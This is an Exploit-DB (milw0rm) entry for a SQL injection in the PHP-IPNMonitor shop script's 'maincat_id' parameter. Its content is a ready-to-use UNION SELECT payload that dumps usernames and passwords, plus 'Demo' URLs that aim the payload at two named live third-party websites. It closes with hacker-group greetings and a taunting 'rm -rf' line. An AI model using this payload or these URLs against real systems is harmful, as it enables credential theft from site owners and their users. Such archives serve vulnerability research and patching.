Exploit PHP-IPNMonitor - 'maincat_id' SQL Injection

[Exploiter]

EDB-ID

9647

Проверка EDB

1. Пройдено

Автор

NONAME

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-3361

Дата публикации

2009-09-11

[+]
[+] SQL injection vulnerability
[+] PHP-IPNMonitor - sell digital downloads online
[+] Download : http://www.withinweb.com/phpipnmonitor/
[+] noname[at]antisecurity.org
 
[+] Bugs = index.php?maincat_id=
 
[+] exploit = -null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--


[+] Example
[+]        : http://localhost/[patch]/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--



[+] Demo 
[+]        : http://www.beardsmith.com/ipnmonitor/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
[+]	   : http://www.earrelaphant.com/ipnmonitor/cart/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--



[+] colek-colek 
[+]             : Antisecurity[dot]Org www.MainHack.net www.ServerIsDown.org
[+]               Jack-, Vrs_hCk, OoN_Boy, NoGe, zxvf, Yadoy666, s3t4n, r3v4n_b4st4rd, pizzyroot, em|nem, s4va, kecemplungkalen, xr00tb0y
[+]               xshadow, Madonk, Tante Angela Chang, IrcMafia
[+]               Indonesian Coder 
[+]               Don Tukulesto, M3NW5, m364tr0n, cyb3r_tr0n
[+]
[+] crotz        
[+]             : rm -rf malingsia   
[+]

# milw0rm.com [2009-09-11]